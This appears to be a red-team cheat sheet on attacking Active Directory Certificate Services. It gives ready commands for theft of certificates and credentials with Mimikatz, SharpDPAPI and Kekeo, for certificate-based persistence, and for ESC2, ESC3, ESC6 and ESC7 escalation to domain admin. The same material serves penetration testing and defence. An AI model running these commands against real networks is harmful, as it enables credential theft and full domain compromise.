AD CS Abuse
Active Directory Certificate Services
Glossary
- AD CS: Active Directory Certificate Services
- CA: Certification Authority
- EKU: Extended Key Usage
- SAN: Subject Alternative Name (subjectAltName)
- CSR: Certificate Signing Request
- CES: Certificate Enrollment Web Service
- CAPI: CryptoAPI
- CNG: Cryptography API: Next Generation
EKU OIDs that can enable certificate authentication:
| Description | OID |
|--------------------------------------|--------------------------|
| Client Authentication | 1.3.6.1.5.5.7.3.2 |
| PKINIT Client Authentication | 1.3.6.1.5.2.3.4 |
| Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 |
| Any Purpose EKU | 2.5.29.37.0 |
| Subordinate CA certificate | No EKU set |
Enumerate
Enumerate AD Enterprise CAs and their settings with PowerShell:
PS > $CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=Configuration,DC=megacorp,DC=local"
PS > $CAs
Enumerate AD Enterprise CAs with CME:
PS > cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M adcs
Get list of certificate template names:
PS > $CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplates | Select-Object -ExpandProperty certificatetemplates
PS > $CATemplateNames
Or
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs dn,dnshostname
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(distinguishedName=CN=CorpCA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=megacorp,DC=local)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs certificateTemplates
Enumerate AD Enterprise CAs with certutil from a domain-joined machine:
Cmd > certutil.exe -config - -ping
Cmd > certutil.exe -TCAInfo [-v]
Look for artifacts in RPC dumps like adcshunter does:
$ rpcdump.py <IP> | grep certsrv.exe
Hunt for Certificates
Export Certificates (THEFT1)
Export a certificate from user's context.
With certmgr:
Run → certmgr.msc → Action → All Tasks → Export ...
With PowerShell:
PS > Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get-Item -Path Cert:\LocalMachine\My\<CERT_THUMBPRINT>) -FilePath cert.pfx -Verbose
With CertStealer:
Cmd > .\CertStealer.exe -export pfx <CERT_THUMBPRINT>
If the private key is non-exportable, use Mimikatz's crypto::capi
(to patch CAPI in current process) or crypto::cng
(to patch lsass.exe memory):
Cmd > .\mimikatz.exe "crypto::capi" "crypto::certificates /export" "exit"
DPAPI User Keys (THEFT2)
Decrypt a domain user's masterkey with domain's backup key with Mimikatz:
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"
Decrypt masterkey if user's plaintext password is known with Mimikatz:
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:Passw0rd!" "exit"
Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1 masterkey mappings (will output a .pem file):
Cmd > .\SharpDPAPI.exe certificates /mkfile:C:\Temp\mkeys.txt
DPAPI Machine Keys (THEFT3)
It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:
# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine
After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use that .pfx for domain authentication as the computer account (see PERSIST2).
Search for Certificate Files (THEFT4)
Find certificate files lying around with Seatbelt:
Cmd > .\Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
Cmd > .\Seatbelt.exe InterestingFiles
Some other certificate-related file extensions:
| File Extension | Description |
|----------------|---------------------------------------------------------|
| .key
| The private key. |
| .crt
/ .cer
| The certificate. |
| .csr
| Signing request file. Does not contain certificates or keys. |
| .jks
/ .keystore
/ .keys
| Java Keystore. May contain certificates + private keys used by Java apps. |
List EKUs for a certificate with PowerShell:
PS > $CertPath = "C:\Users\snovvcrash\cert.pfx"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.EnhancedKeyUsageList
Parse .pfx with certutil:
Cmd > certutil.exe -dump -v cert.pfx
Correlate a certificate with a CA thumbprint on the host and in AD:
# Get cert's thumbprint
PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.Thumbprint
# Match it with CA certs' thumbprints trusted by the current host
Cmd > .\Seatbelt.exe -q CertificateThumbprints
# Match it with CA certs' thumbprints from AD
Cmd > .\Certify.exe find /quiet
Steal NTLM via PKINIT (THEFT5)
Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:
Cmd > .\kekeo.exe "tgt::pac /caname:CorpCA /domain:megacorp.local /subject:snovvcrash /castore:current_user" "exit"
Persistence via Certificates
Rubeus for Persistent Access
Request a TGT using a certificate:
Cmd > .\Rubeus.exe asktgt /user:snovvcrash /certificate:C:\Temp\cert.pfx /password:Passw0rd!
This approach will work even if the user changes their password. Combined with the THEFT5 technique, an adversary can persistently obtain the account's NTLM hash.
Machine Persistence (PERSIST2)
Request a certificate for enrolling current machine context:
# While elevated
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Machine /machine
With access to a machine account certificate, an adversary can use S4U2Self to obtain a Kerberos ticket to any service on the host (see RBCD Abuse) or generate a silver ticket.
Certificate Renewal
Certificate template validity period - Determines how long an issued certificate can be used.
Certificate template renewal period - Determines a window of time before the certificate expires where an account can renew it from the issuing certificate authority.
An adversary can renew the compromised certificate before the validity period expires, extending their access to AD without requesting additional ticket enrollments.
Domain Escalation via Certificates
Modifiable SAN + Any Purpose EKU (ESC2)
Condition: The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0).
Find a template with this misconfiguration:
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
Request a certificate specifying the /altname as a domain admin like in ESC1.
Agent Certificate + Enroll on Behalf of Another User (ESC3)
Conditions:
A template allows a low-privileged user to use an enrollment agent certificate.
Another template allows a low-privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.
Steps:
Request an enrollment agent certificate:
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Vuln-EnrollAgentTemplate
Request a certificate on behalf of another user based on a template that allows domain authentication:
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /onbehalfon:MEGACORP\ITAdmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!
Vulnerable PKI Object ACEs (ESC5)
EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)
Description: If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user-defined values in the subject alternative name. This allows an adversary to enroll in any template configured for domain authentication that also allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows domain authentication as a domain admin or any other active user/machine.
Discover with certutil
:
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
Or
Cmd > reg.exe query \\CA01.megacorp.local\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CorpCA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
Discover with Certify:
Cmd > .\Certify.exe find
Abuse: Request a certificate specifying an /altname with any template that allows domain auth (e.g., the default User template which normally doesn't allow to specify alternative names):
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /altname:DomAdmin
Set the flag with domain admin's privileges (dangerous, do not do this!):
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
Remove the flag:
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
Vulnerable CA ACEs (ESC7)
Enumerate CA ACEs with PowerShell PSPKI:
PS > Install-Module -Name PSPKI
PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-CertificationAuthorityAcl | select -ExpandProperty access
ManageCA
and ManageCertificates
rights translate to the "CA Administrator" and "Certificate Manager" ("CA Officer") roles, respectively.
- The "CA Administrator" role allows setting the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag (see ESC6).
Check before setting the flag:
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
Invoke SetConfigEntry
:
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA01.megacorp.local"
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output):
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
The "Certificate Manager" role allows remotely approving pending certificate requests:
Request a certificate that requires manager approval with Certify:
PS > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:ApprovalNeeded
...
[*] Request ID : 1337
Approve a pending request with PSPKI:
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest
Download the issued certificate with Certify:
PS > .\Certify.exe download /ca:CA01.megacorp.local\CorpCA /id:1337
OID Group Link Abuse (ESC13)
Audit
PSPKIAudit
- Repository: PSPKIAudit
- Description: Tool to audit PKI configurations.
Setup:
PS > Get-WindowsCapability -Online -Name "Rsat.*" | where Name -match "CertificateServices|ActiveDirectory" | Add-WindowsCapability -Online
PS > cd PSPKIAudit
PS > Get-ChildItem -Recurse | Unblock-File
PS > Import-Module .\PSPKIAudit.psm1
PS > Invoke-PKIAudit -CAComputerName CA01.megacorp.local
Miscellaneous
Tools
Certify
Certipy
Repository: Certipy
Commands:
Get TGT automatically and list CAs, servers, and search for vulnerable certificate templates (output in text, JSON, and BloodHound formats):
$ certipy find -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -ns 192.168.1.11 -dc-ip 192.168.1.11 [-dc-only] [-text] [-dns-tcp]
certi
Repository: certi
Commands:
Get TGT:
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local -dc-ip 192.168.1.11
List CAs and servers (short):
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class service
List CAs (verbose):
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class ca
Search for vulnerable certificate templates:
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --vuln --enable
PassTheCert
ADCSKiller